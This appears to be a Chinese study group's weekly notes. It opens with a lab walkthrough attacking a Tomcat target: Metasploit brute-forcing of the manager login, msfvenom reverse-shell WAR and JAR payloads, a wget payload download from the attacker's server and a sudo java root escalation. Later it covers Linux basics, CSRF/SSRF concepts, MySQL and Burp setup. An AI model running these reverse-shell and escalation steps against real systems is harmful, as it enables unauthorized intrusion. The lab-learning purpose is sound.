c组第二周笔记汇总

TOMCAT渗透测试笔记
1.
2.输入靶机地址发现访问不了,但是可以ping通,只能说明端口不是80端口,得自己去扫描
方法:安装nmap(kali linux自带)

-A—全面系统检测,启用脚本检测,扫描等 -p指定端口扫描

3.扫描成功结果如上,我们可以发现22端口和8080端口是开放的,通过访问week2.404sec.com:8080,我们成功访问到了靶机页面

4.接下来就是要进TOMCAT后台,但是没有账号密码,所以就需要使用弱口令爆破,这里使用msf。

5.在终端中输入msfconsole,等待启动。

6.启动完成,我们需要找msf中对应tomcat的功能 可以通过search tomcat

我们需要选择第8个,tomcat_mgr_login这个功能,意思就是tomcat的管理员登陆

7.输入命令use auxiliary/scanner/http/tomcat_mgr_login来启用这个功能
msf5 > use auxiliary/scanner/http/tomcat_mgr_login
msf5 auxiliary(scanner/http/tomcat_mgr_login) >
出现上面的提示就表示使用成功
8.启用功能以后需要设置主机和端口
set rhosts XXX.XXX.XXX.XXx(ip)
set rport 8080

10.如下图,我们可以知道,该靶机后台账号密码都是tomcat,可以成功登陆网站后台了

11.登陆网站后台后,我们需要上传一个木马来获取靶机服务器下的其他文件,所以这里我们可以在msf生成一个war的木马,命令如下

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=端口 -f war > XXX.war

生成完成后可以通过ftp将文件保存到自己电脑然后上传部署到靶机里

12.部署完成后需要监听,
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost ip
set lport 端口
exploit
访问http://week2.404sec.com:8080/XXX/
出现该页面则监听成功,输入shell,然后输入whoami 可以发现我们现在已经是tomcat用户了,输入ls -lr 我们可以发现有flag文件但是我们权限不够,因此需要提权,输入
sudo -l,查看当前用户具有哪些权限,得到结果如下
User tomcat may run the following commands on this host:
(ALL) NOPASSWD:
通过解读,(all)bopasswd ,可以知道我们不需要密码就可以用java去跑root权限,思路来了,就是要用当前用户执行生成的java木马,可以得到生成的反弹回来的shell了
.

13.所以现在应该选择生成一个java木马,
msfvenom —platform java -f jar -p java/shell_reverse_tcp LHOST=ip LPORT=端口 -o xxx.jar
注意:此时的端口应与之前的jsp的端口不同,因为端口是唯一的
等待jar木马生成之后保存到电脑上
14.生成完成之后,我们会把生成的jar木马上传到目标的服务器里,怎么样把木马传到目标服务器里呢?可以在自己服务器上搭建一个网站环境,通过wget命令让目标来访问自己生成的木马,将木马传到靶机服务器上。
wget http://xxx.xxxx.xxx/xxx.jar
如果直接保存到root权限下,会出现Cannot write to xxx.jar
注意:tomcat权限不足以把木马保存到root目录下, 所以我们可以让他保存到tmp(临时文件)目录下
15.监听生成的jar木马
set playload java
set payload java/shell_reverse_tcp
set lhost ip
set lport
exploit
监听完以后访问上传的木马,然后访问 、
16.输入 sudo -u root java -jar xxx.jar
输入完成后,输入shell命令,然后输入whoami可以发现现在已经是root权限了
17.获得root权限以后只需要访问flag目录(此时在tmp文件夹下,访问根目录下的flag需要退到上一级目录)
然后输入cat flag 即可得到flag了 flag{ssnnbyyyyylyyyds}

代码总结
1.nmap -A -p 1-65535 week2.404sec.com ——-扫描端口
2.msfconsole ——-启动msf
3.search tomcat ——- 寻找适用tomcat的模块
4.use auxiliary/scanner/http/tomcat_mgr_login ——-使用管理员登陆模块
5.set rhosts XXX.XXX.XXX.XXx(ip) ——-设置需要爆破的地址
6.set rport 8080 ——-设置端口
7.msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=端口 -f war > XXX.war ——-生成一个jsp木马,来获取服务器内部权限
8.use exploit/multi/handler ——-使用这个模块
9.set payload java/jsp_shell_reverse_tcp ——-使用模块
10.set lhost ip ——-设置ip
11.set lport 端口 ——-设置端口
12.exploit ——-开始监听
13.ls -lr ——-查看文件以及权限
14.sudo -i ——-查看用户权限
15.msfvenom —platform java -f jar -p java/shell_reverse_tcp LHOST=ip LPORT=端口 -o xxx.jar——生成java 木马
16.wget http://xxx.xxxx.xxx/xxx.jar-----把生成的java木马下载到目标服务器上
17.set playload java
set payload java/shell_reverse_tcp
set lhost ip
set lport
exploit ————监听java木马
18.sudo -u root java -jar xxx.jar 提取root权限

CTFHUB技能树HTTP协议

1.请求方式

题目

打开burp抓包

选择repeater模块

将请求方式GET改为CTFHUB得到flag

2.302跳转

题目

和上面一样抓包,选择repeater模块

GO一下得到flag

Linux运维基础6-10
1.Linux根文件系统
Linux文件的类型:
-:普通文件
纯文本文件(ASCII):配置文件
二进制文件(binary file):命令
数据格式文件(data):/var/log/wtmp
d:目录文件
l:链接文件:软链接文件(类似于Windows桌面上的快捷方式)
设备文件:
b:block块设备
c:character字符集设备:一次性读取,按顺序读取
s:socket 套接字文件:用在网络上的数据连接:ip加端口 www.baidu.com默认是80端口
p:管道文件:特殊的文件类型,解决多个应用程序同时访问一个文件所造成的错误问题
如何查看文件类型:
file:查看linux中文件类型
语法:file file_name (linux当中没有扩展名)
linux文件名限制:
1.单个文件或目录的名称不能超过255字符
2.文件名中不能包含特殊字符(/ . - +等)
FHS标准(filesystem hierarchy_standard):希望用户可以了解已经安装的程序在哪个目录下
根文件文件系统(/):rootfs:foot filesystem
/bin:二进制,存放命令
/boot:存放启动和内核相关文件
/dev:存放设备文件
/etc:存放应用程序的配置文件
/home:普通用户的家目录,默认为/home/USERNAME
/lib和/lib64:存放系统开机时需要用的函数库及/bin和/sbin命令调用函数
/lib/modules:存放内核相关的模块(驱动程序等)
/media和/mnt:挂载点,/media挂载移动设备 /mnt挂载临时设备
/opt:第三方软件存放目录(用户自行安装的软件存放处),现在一般安装在/usr/local下
/proc:伪文件系统,数据存放在内存中,存放关于进程的相关信息
/root:管理员的家目录
/sbin:存放管理员使用的命令
/srv:service缩写,存放服务数据的目录,可以把www服务的网页放到该目录
/tmp:存放临时文件,所有用户都可以创建访问文件,但是每个用户只能删除自己的文件
/sys:伪文件系统,存放在内存中,记录内核相关的信息,包括目前加载的内核模块和内核检测到的硬件设备,
/usr:unix software resource,存放安装大的应用程序
/sur/bin :普通用户使用的命令(和/bin的区别是否与开机有关)
/usr/sbin : 网络服务器命令
/usr/lib和/usr/lib64:包含各种应用程序函数库,
/usr/share:存放共享文件目录(在线帮助文件,杂项,时区文件等)
/usr/include:存放头文件,
/usr/src:释放源代码目录
/var:vary的缩写,存放经常变动的文件,比如日志,mail等
/var/cache:存放应用程序时产生的缓存文件
/var/lib:程序运行时,需要使用的数据文件的存放目录
/var/lock:设备或资源一次只能被一个应用程序使用,如果多个应用程序使用会产生错误,因为要为设备或资源上锁(存放锁文件)
/var/log:存放日志目录(系统,用户登录,服务日志等)
/var/mail:放置个人电子邮件(系统报警产生的邮件信息等)
/var/run:存放应用程序运行时的PID(进程号.pid结尾)文件
/var/spool:存放队列数据,排队等待其他应用程序使用的数据,数据通常使用完成后会被删除
FHS规定:/etc /bin /dev /lib /sbin 五个目录必须要和根目录位于同一文件系统
2.linux常见命令
file:查看文件类型(Windows中是扩展名识别文件类型)
语法:file【options】【args】
-b:显示结果时不显示文件名
-c:显示执行file命令的执行过程(file是如何去判断文件类型的)便于排错或分析file命令执行过程
-i:输出MIME类型的字符串
-z:显示压缩文件的内容
-l:查看软链接对应的类型
-f:查看文件中文件名的类型
cat:一次性查看整个文件
语法:cat【options】【args】
从键盘输入创建一个新文件或向现有文件中添加新数据:

linux command /从键盘输入
uinx command /从键盘输入
EOF /从键盘输入,以结束书写
向现有文件中追加数据:
cat >>file_name << EOF
把多个文件内容合并到一个文件输出:
cat file1 file2 > file3
-n: 显示内时显示同时显示行号
-b:和-n功能相同但是不包括空行
-s:当文件中有多个空行时,合并为一个空行
-E:在显示内容时,结尾添加$符号
cp:复制文件或目录(copy的简写)
语法:cp [options] src_file [des_file](目标文件)
例如 cp /etc/passwd/ /opt/把passwd复制到opt下 cp /etc/passwd /opt/mima 把passwd复制到opt下,名字为mima
-f:force,强制复制文件或者目录不进行提示
-r:递归复制目录
-s:为某个文件创建符号链接(软链接)而不是复制文件
-b:覆盖已有的文件前,对目标文件进行备份
-l:为文件创建硬链接而不是复制文件
-p:复制文件时保留文件的原有属性
-d:当复制软链接文件时,把目标文件或目录也会创建为软链接,并指向最原始的文件
-i:覆盖目标文件前询问
mv:move,移动或重命名文件和目录(当原位置和目标位置是同意目录时,是重命名,当原位置和目标位置不同是移动)
mv passw user_passwd 这是重命名
-b:移动前先对源文件进行备份
-f:强制覆盖
-i:覆盖模板文件前询问
-t:将多个文件移动到同一个目录(目标目录在前,后面跟文件 mv -t [directory] file1 file2 ..)
rm:remove 删除文件或目录
-d:删除可能存在数据的目录
-f:强制删除
-i:删除前进行询问
-r:递归删除整个目录
-v:显示命令执行过程
mkdir:make directory 创建空目录
-m:创建目录同时设置权限 例:mkdir -m 700 bcd
-p:递归创建新目录 例 mkdir -p /root/a/b/c/d mkdir -p /a/{b,c,d}创建同级目录
-v:显示创建目录的过程
touch:创建新文件或修改文件时间戳
-a:只改变访问时间
-c:不创建文件
-d:使用指定时间创建新文件,而不是使用系统时间
-t:使用指定格式时间创建新文件,而不是使用系统时间
-f:解决与BSD系列Unix系统兼容性
-m:只改变时间
tree:查看目录树(tree=ls -R)
which:查找命令所在的路径
whereis:查看命令所在的路径,源代码文件,帮助信息文件所在的文件
-b:只查看文件所在的位置(等于which命令)
-m:只查看帮助信息所在的位置
-s:只查看源代码所在的位置
查找文件命令:locate find
非实时性,根据自己的数据库查找文件,centos每天更新一次数据库 //update 更新locate数据库,安装locate后,生成/var/lib/mlocate目录,存放数据库
模糊匹配:locate file_name
查看文本文件内容命令:cat more less head tail
Linux和Windows中文件内容行尾标记是不痛的:
Linux中是以$结尾
windows中以ENTER结尾
cat:一次性查看文件内容
more:可以翻页查看文本文件内容
enter:向下翻页
空格键:向下翻一屏
ctrl+b:向上翻一屏
ctrl+f:向下翻一屏
=:显示当前行号
v:调用vi编辑器
!command:调用shell执行命令
q:退出more命令
more+num file_name //从第几行开始查看文本文件内容
less:可以翻页查看文本文件内容
enter:向下翻页
空格键:向下翻一屏
pagedown:向下翻一屏
pageup:向上翻一屏
上下方向键:向上/向下翻一行
/word:在文本中查看关键字
n:查找下一个
N:查找上一个,
管道:连接多条命令,前一条命令输出结果作为后一条命令的输入条件,管道符|
head:默认查看文本文件的前十行
-n:查看文本文件的前n行
tail:默认查看文本文件后10行
-n:查看文本文件后n行
-f:动态查看文本文件内容,如动态查看日志
3.shell特性
shell广义上分为两类:
GUI:包括GNOME KDE XFACE等
CLT:sh csh ksh bash 等(linux发行版本中,bash是默认使用的shell程序)
shell启动:当用户登录完成以后,系统会自动启动shell程序
进程: 应用程序的副本;使用PID区分(在系统中,一个进程只认为自己存在)
shell:父shell程序和子shell 程序(父子shell之间设置环境互相独立)
//exit 退出当前shell程序
bash的特性:
1.命令历史:linux会自动记录系统过去执行的命令,并保存在内存的缓冲区中,
在每个用户的家目录下, 有个隐藏文件.bash_history保存命令历史
history //查看Linux命令历史
-c:情况命令历史
-d:删除某一条命令
-w:将命令历史保存到某个文件中
变量:PATH路径变量
HISTSIZE:命令历史大小变量
echo $HISTSIZE //查看HISTSIZE变量的值,默认的命令历史是1000条
命令历史使用技巧:
!n:执行命令历史的第n条命令
!-n:执行命令历史中的倒数第n条命令
!word:执行命令历史中最近一次以word开始的命令(word必须能够唯一的标识用户想执行的命令)
!!:执行上一次的命令
!$:引用一个命令的最后一次参数
ESC键(按完松开)再按.键:引用一个命令的最后一次参数
2.管道,重定向
计算机的体系结构:
控制器:CPU,读取系统指令
运算器:CPU,运算
存储器:RAM(内部存储器:易失性存储器)
输入设备:输入数据,如键盘,硬盘等
输出设备:显示指令执行结果,如显示器,音响,硬盘等
计算机总线:
地址总线:负责内存寻址
数据总线:负责传输数据
控制总线:负责控制指令
寄存器:cpu中内部的临时存储空间
I/O设备:负责计算机内部存储设备和外部存储设备(如硬盘,光盘,u盘)进行交互的设备
程序:指令+数据
指令:由程序提供,负责加工数据
数据:系统中数据可以有多种来源,比如来自变量,来自文件,来自输入设备等
当用户满意为指令指定数据来源时,要有默认的数据来源
标准输入输出设备:
标准输入设备:键盘(stdin) ,文件描述符为0
标准输出设备:显示器(stdout)文件描述符为1
标准错误输出设备:显示器(stderr)文件描述符为2
三种数据流:
标准输入数据流//标准输出数据流/标准错误输出数据流
当在linux当真打开一个文件时,内核会反复调用,对于文件标识就很重要了,用文件描述符来标识文件,文件加载完成后用数字表示
fd:file descriptor(文件描述符)
IO重定向:把默认输入输出数据来源重新定向到其他的文件或设备
输出重定向:

:追加输出重定向(后一个接到前一个)
2>:错误覆盖输出重定向
2>>:错误追加输出重定向
&>:混合输出重定向
&>>:混合追加输出重定向
输入重定向:
<:输入重定向
管道:连接多条命令,把前一条命令的输出结果作为后一跳命令的输入条件(组合小程序,实现大功能)
command1|command2|command3……
tr:实现字符转换,不修改源文件,语法:tr [option] … SET1 [SET2]
3.命令别名(alias定义的别名只在当前shell生效)
alisa COMN_ALIAS=COMMAND //只执行alisa列出系统中所有的命令别名
注意:执行alisa命令时,COMMAND最好用’’(引号)引起来
unalias COMN ALIAS //取消命令别名
4.命令行编辑
crtl+a:光标快速跳转到命令行的行首
ctrl+e:光标快速跳转到命令行的行尾
ctrl+u:快速删除光标位置到命令行行首的字符
ctrl+k:快速删除光标位置到命令行行尾的字符
ctrl+l:清屏(命令clear)
5.命令行展开
5.1命令补齐:在PATH变量搜索命令并补齐(PATH 变量必须正常,输入要补齐命令的字符数,一定能够唯一标识这条命令,按TAB)
按TAB两次,列出以某个字符开始的所有的命令
echo $PATH //查看PATH变量的值
路径和文件补齐:在系统路径中查找
命令行补齐功能不能补齐选项
5.2 命令替换(经常用到shell教程编程中) $(command)或者’command’(两边是反撇号)
“ ”(双引号):弱引用(可是实现变量的替换,把变量名替换为变量值)
‘ ‘(反撇号):命令引用
‘ ’(单引号):强引用(不能完成变量替换)
命令替换就是把命令当中的子命令替换成子命令执行结果的过程
echo “字符串”
6.命令行通配:globing
*:匹配任意长度的任意字符
[]:可以匹配指定范围内的单个字符
?:匹配任意单个字符
[^]:匹配指定范围外的任意单个字符

[:alpha:]表示所有字母(包括大小写)

7.变量

8.编程

米斯特4-5
CSRF:跨站请求伪造 —-点我链接你就被我黑了:XSS和CSRF
一个用户有支付功能,我们也发现了用户处转账功能,通过测试发现有CSRF漏洞,我们可以编写一个poc或者exp,编写完在自己网站搭一个页面发送给用户,用户点击之后会返回给我们—-XSS CSRF——一旦点击就会直接转账给别人或自己,不需要返回
跨站:不同站点,A站点到B站点,在B站点发现漏洞,可以在A站点构建一个exp/poc ,通过这个页面把A站点发给用户,用户点击,就会立马向B站点做一个请求,因为请求是客户端的,比如用户A被攻击者,用户B是攻击者,用户A有他的cookie 用户B有自己的cookie 即使是跨站,最后请求的是B站点,客户端上的cookie也是一样的,如果在登陆状态下进行一个转账的请求的,他点开之后就转账了,因为他已经登陆了,就相当于我们不需要破解他的cookie
burp中repeater模块:一个回放攻击,重放,把包放到这个模块中他就 可以重放这个包
如果可以这个网站可以重放这个包,那么就有CSRF漏洞—-验证CSRF存在,但是需要产生危害
如果用上面的方法验证不了,可以生产个poc来验证

点击后会自动生产一个poc,在修改以后验证一下是否可行(访问网站需要在设置burp代理下才能打开)
SSRF: (服务端的请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF的攻击目标是外网无法访问的内部系统,(正是因为他是由服务端发起的,所以他能够请求到与他相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能并且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

Mysql:
Mysql默认账号密码都是root
设置环境变量:
计算机-右键属性-高级系统设置-环境变量-新建-输入路径
cmd—-mysql -h127.0.0.1 -uroot -p 就可以连接数据库了
show database 查看有多少个数据库
use mysql 使用mysql数据库
show tables 查看表
select(查):select 指定的列名/* from tavle_name;
delete(删除):delete from 表名 where User=”root”
insert(增加):
insert into 表名 values()注意括号内一定要对应表里的列
update(修改):update 表名 set 列名=值;
常用函数:
1.select version() 查看当前版本
2.mysql语句不需要区分大小写 但是你查询的
3.select user() 查看当前的用户名
创建数据库: create database 数据库库名;

一、information_schema简介

information_schema数据库表说明:

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。

TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

COLLATIONS表:提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表:描述了具有约束的键列。

ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

Burpsuite
.

.

.

java安装好后,win+R输入cmd打开终端,输入如图所示代码检查是否配置好,一切就绪打开burpsuite
.

可以根据需要设置字体,设置好重新启动burp suite

接下来配置浏览器代理

.
启动burpsuite
.

部分网站无法截取,需要下载证书
.

安装好就可以抓取数据包了。
.

相关推荐

发表评论

路人甲

网友评论(0)